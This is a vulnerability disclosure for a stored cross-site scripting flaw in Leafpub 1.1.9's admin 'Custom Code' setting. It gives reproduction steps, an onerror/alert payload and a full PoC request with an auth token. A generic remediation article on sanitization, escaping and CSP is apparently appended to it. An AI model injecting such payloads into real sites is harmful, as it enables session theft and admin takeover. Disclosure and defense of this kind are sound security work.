Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS)
# Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS)
# Date: 2024-04-24
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://github.com/Leafpub
# Software Link: https://github.com/Leafpub/leafpub
# Version: 1.1.9
# Tested on: MacOS
### Steps to Reproduce ###
- Please login from this address: http://localhost/leafpub/admin/login
- Click on the Settings > Advanced
- Enter the following payload into the "Custom Code" area and save it: ("><img
src=x onerror=alert("Stored")>)
- An alert message saying "Stored" will appear in front of you.
### PoC Request ###
POST /leafpub/api/settings HTTP/1.1
Host: localhost
Cookie:
authToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MTM5NjQ2MTcsImV4cCI6MTcxMzk2ODIxNywiZGF0YSI6eyJ1c2VybmFtZSI6ImFkbWluIn19.967N5NYdUKxv1sOXO_OTFiiLlm7sfgDWPXKX7iEZwlo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 476
Origin: http://localhost
Referer: http://localhost/leafpub/admin/settings
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
title=A+Leafpub+Blog&tagline=Go+forth+and+create!&homepage=&twitter=&theme=range&posts-per-page=10&cover=source%2Fassets%2Fimg%2Fleaves.jpg&logo=source%2Fassets%2Fimg%2Flogo-color.png&favicon=source%2Fassets%2Fimg%2Flogo-color.png&language=en-us&timezone=America%2FNew_York&default-title=Untitled+Post&default-content=Start+writing+here...&head-code=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22Stored%22)%3E&foot-code=&generator=on&mailer=default&maintenance-message=&hbs-cache=on Leafpub 1.1.9 — Stored Cross‑Site Scripting (XSS): Analysis, Impact, and Remediation
This article explains a stored cross‑site scripting (XSS) issue reported in Leafpub 1.1.9, the underlying causes, real‑world impact, and practical mitigations developers and administrators should apply. It focuses on defensive guidance and safe remediation patterns rather than exploit details.
Summary
Stored XSS occurs when an application persistently stores user‑supplied content that contains HTML or JavaScript and later renders it to other users without adequate sanitization or output encoding. In Leafpub 1.1.9, user‑editable “custom code” fields in the admin/settings area (used to inject head/foot snippets) can accept arbitrary HTML; if that content is rendered to admin or public pages without proper controls, it may lead to persistent script execution in contexts of site visitors or administrators.
Why this is dangerous
- Stored XSS executes in the victim’s browser with the site’s origin — it can steal cookies, tokens, or perform actions on behalf of authenticated users.
- Admin‑context XSS is particularly severe because an attacker can target site administrators, leading to full site takeover via credential theft or by adding callbacks that modify site content.
- Because the payload is stored, a single successful injection can affect many users over time.
Root cause
Typical root causes for stored XSS in CMS‑like apps include:
- Allowing arbitrary HTML input in settings or content areas without sanitization.
- Using templating constructs that bypass automatic escaping (e.g., Handlebars triple‑stache {{{ }}}) on untrusted data.
- Insufficient server‑side validation and overreliance on client‑side controls.
Impact assessment
| Aspect | Impact |
|---|---|
| Confidentiality | High — session tokens, CSRF tokens, or admin cookies may be exfiltrated |
| Integrity | High — attackers can modify site content, inject backdoors, or create new admin accounts (if privileged functions are accessible via XHR) |
| Availability | Medium — site defacement or malicious scripts could degrade user experience |
Safe remediation and secure coding patterns
1) Principle of least privilege for editable injection points
Fields that allow adding scripts or arbitrary HTML (such as head/foot snippets) should be restricted to trusted roles only (e.g., site administrators). Consider disabling such fields entirely unless strictly necessary.
2) Server‑side sanitization with a white‑list approach
Sanitize input on the server using a robust library that enforces an allowlist of tags and attributes. Do not rely on client‑side validation alone.
/* Node.js example using sanitize-html */const sanitizeHtml = require('sanitize-html');
function sanitizeCustomCode(input) {
return sanitizeHtml(input, {
allowedTags: ['a','b','i','em','strong','p','ul','ol','li','br','img'],
allowedAttributes: {
a: ['href','rel','title'],
img: ['src','alt','title']
},
// disallow JavaScript in href/src via transform or by requiring protocols
allowVulnerableProtocols: false
});
}
Explanation: This Node.js snippet uses the sanitize-html library to filter incoming HTML. It permits only a narrow set of tags and attributes and disables vulnerable protocols. Call sanitizeCustomCode before persisting user input so the stored content cannot contain executable script elements or inline event handlers.
3) Output encoding and template safety
Prefer automatic escaping offered by templates (e.g., Handlebars’ default double‑stache {{value}}). Avoid using unescaped outputs (triple‑stache {{{value}}}) unless content was validated and sanitized with a strong allowlist.
// Handlebars usage guidance (pseudocode)
// Good: escapes dangerous characters by default
{{headCode}}
// Avoid unescaped insertion unless content was sanitized and intentionally allows HTML
{{{headCode}}}
Explanation: Template engines typically escape HTML to prevent injection. Double‑stache keeps content safe by encoding angle brackets and quotes. Triple‑stache disables that protection and should only be used for trusted, sanitized HTML. Ensure server sanitization is applied before using unescaped insertion.
4) Content Security Policy (CSP)
Add a strict CSP to mitigate the impact of XSS, especially when legacy code must allow some HTML. CSP is a defense‑in‑depth control that can block inline scripts and prevent scripts from untrusted origins from running.
// Express + helmet example to set a restrictive CSP
const helmet = require('helmet');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // disallow inline scripts
objectSrc: ["'none'"],
imgSrc: ["'self'", "data:"],
upgradeInsecureRequests: []
}
}
}));
Explanation: This example uses helmet to add CSP headers. Blocking inline scripts (no 'unsafe-inline') and restricting script sources prevents many injected scripts from executing even if a malicious script lands in storage. Review and adapt directives for your site’s needs.
5) Avoid storing raw scriptable markup unless necessary
If the goal is to allow limited formatting (links, images, basic markup), store a sanitized HTML variant or a safe markup language (e.g., Markdown) and render it with a parser that outputs safe HTML. If free HTML is required for advanced users, provide a separate trusted mechanism and audit logging.
// Example: Convert Markdown to sanitized HTML
const marked = require('marked');
const sanitizeHtml = require('sanitize-html');
function renderUserMarkdown(md) {
const html = marked.parse(md);
return sanitizeHtml(html, {
allowedTags: sanitizeHtml.defaults.allowedTags.concat(['img']),
allowedAttributes: {
a: ['href','rel','target'],
img: ['src','alt']
}
});
}
Explanation: Convert Markdown to HTML, then sanitize the HTML output. This lets you accept expressive user content without giving users direct access to raw HTML that could include scripts or event handlers.
Testing and verification
- Perform testing in isolated environments only. Use automated tools (OWASP ZAP, Burp Suite) to scan for stored XSS and review fields that accept HTML.
- Manually review templates for unescaped outputs (triple‑stache, innerHTML assignments, dangerouslySetInnerHTML equivalents).
- Validate sanitization by attempting to store benign test strings that would be removed or encoded by your sanitizer (use harmless markers rather than real attack payloads in production).
- Include unit tests asserting that dangerous attributes (onerror, onclick) and elements (<script>, <iframe>) are stripped from persisted content.
Incident handling and disclosure
- If you find a stored XSS in a production deployment, remove or neutralize the malicious content immediately and rotate affected credentials/cookies if session tokens may have been exposed.
- Notify affected users/admins, restore from a clean backup if necessary, and perform a root cause analysis to identify how the sanitization/encoding gap occurred.
- Report the vulnerability to the vendor through responsible disclosure channels and publish remediation notes once patches are available.
Developer checklist to prevent stored XSS
- Restrict HTML injection fields to trusted roles.
- Apply server‑side sanitization with a strict allowlist before storage.
- Prefer safe markup (Markdown) over raw HTML when possible.
- Use template engine escaping; avoid unescaped insertions unless sanitized.
- Deploy a Content Security Policy to reduce impact of any residual issues.
- Add automated tests and code reviews focusing on output encoding.
References and further reading
- OWASP XSS Prevention Cheat Sheet — practical guidelines on escaping and sanitization.
- sanitize-html documentation — safely sanitize HTML in Node.js.
- Helmet and CSP guides — how to configure secure headers for Express apps.